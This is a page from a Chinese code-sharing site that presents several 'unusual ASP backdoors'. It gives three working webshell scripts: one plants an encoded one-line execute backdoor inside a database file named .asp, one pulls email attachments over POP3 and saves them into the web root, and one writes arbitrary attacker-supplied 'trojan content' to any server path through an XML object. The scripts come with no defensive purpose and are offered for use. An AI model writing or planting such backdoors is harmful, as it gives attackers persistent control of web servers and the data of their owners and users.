欢迎来到代码驿站!

ASP代码

当前位置:首页 > 软件编程 > ASP代码

几种另类的ASP后门

时间:2021-02-26 10:49:48|栏目:ASP代码|点击:
<% 
'code by netpatch
dim dbfile,sql 
db="netpatch.asp"
dbfile=server.MapPath(db) 

set ydb=server.CreateObject("ADOX.Catalog") 
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile 
set ydb=nothing 
if err.number=0 then 
Response.Write dbfile & " 创建成功<br> " 
else 
Response.Write "创建失败,原因: " & err.description 
Response.End 
end if 

Set Conn = Server.CreateObject("ADODB.Connection") 
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile 

sql="CREATE TABLE fdata([data] Memo)" 
conn.execute(sql) 

Set rs = CreateObject("ADODB.RecordSet") 
rs.Open "FData", conn, 1, 3 
rs.addnew 
rs("data")="┼?}?诞?整????超?∨≮┩>"   '(注释记得去掉!一句话后门 execute request(“n”))
rs.update 


%>

用Jmail写文件进硬盘



<% 
    'codz by kEvin1986 [S4T]
    User=Request.Form("User")
    Pass=Request.Form("Pass")
    Popserver=Request.Form("Popserver")

    if User<>"" and Pass<>"" and Popserver<>"" then
        Set objmail = CreateObject( "JMail.POP3" )
        objmail.Connect User, Pass, Popserver

        set objmsg=CreateObject("jmail.message")
        Set objmsg = objmail.Messages.item(1) 
        separator = ", "
        response.write "Attachment Name is: " & SaveAtta & "<br>"
        objmail.Disconnect
    End if

    Function SaveAtta()
        Set Attachments = objmsg.Attachments
        separator = ", "
        response.write "The size of this Attachment is: " & objmsg.size & "<br>"
        For i = 0 To Attachments.Count - 1
        If i = Attachments.Count - 1 Then
              separator = ""
        End If

        Set Theatta = Attachments(i)
        response.write Theatta.Name 
        Theatta.SaveToFile(Server.Mappath(".") & "\" & Theatta.Name)
        Response.write "Oh!Hey Guy.....That's OK!"
        Next
    End Function
%>

<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method="POST">
User: <input name="User" type=text value="kevin1986"><br>
Pass: <input name="Pass" type=text value="1986lovinghuan"><br>
POP3: <input name="Popserver" type=text value="pop.163.com"><br>
<input type=submit value="Get the Attachments Of the First Mail">
</Form>
</Center>
</Body>
</Html> 

利用xml写马


<%on error resume next%>
<form id="form1" name="form1" method="post" action=''''>
<p>木马内容</p>
<p><textarea name="flashboy" cols="80" rows="10"></textarea></p>
<p>路径</p>  
<p><input name="textfield" type="text" size="50" /></p>
<p><input type="submit" name="Submit" value="提交" /></p></form>
<p><%Response.write "本文件绝对路径"%>
  <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p>
<%
dim xmlString
dim xmlDoc
xmlString= Request("flashboy")
set xmlDoc = server.createObject("Msxml2.DOMDocument")
xmlDoc.loadXml(xmlString)
f=Request("textfield")
xmlDoc.save(f)
set xmlDoc=nothing
%> 

上一篇:ASP编程入门进阶(八):内置对象Session

栏    目:ASP代码

下一篇:写入文本文件的过程函数(ASP)

本文标题:几种另类的ASP后门

本文地址:http://www.codeinn.net/misctech/69973.html

推荐教程

广告投放 | 联系我们 | 版权申明

重要申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:914707363 | 邮箱:codeinn#126.com(#换成@)

Copyright © 2020 代码驿站 版权所有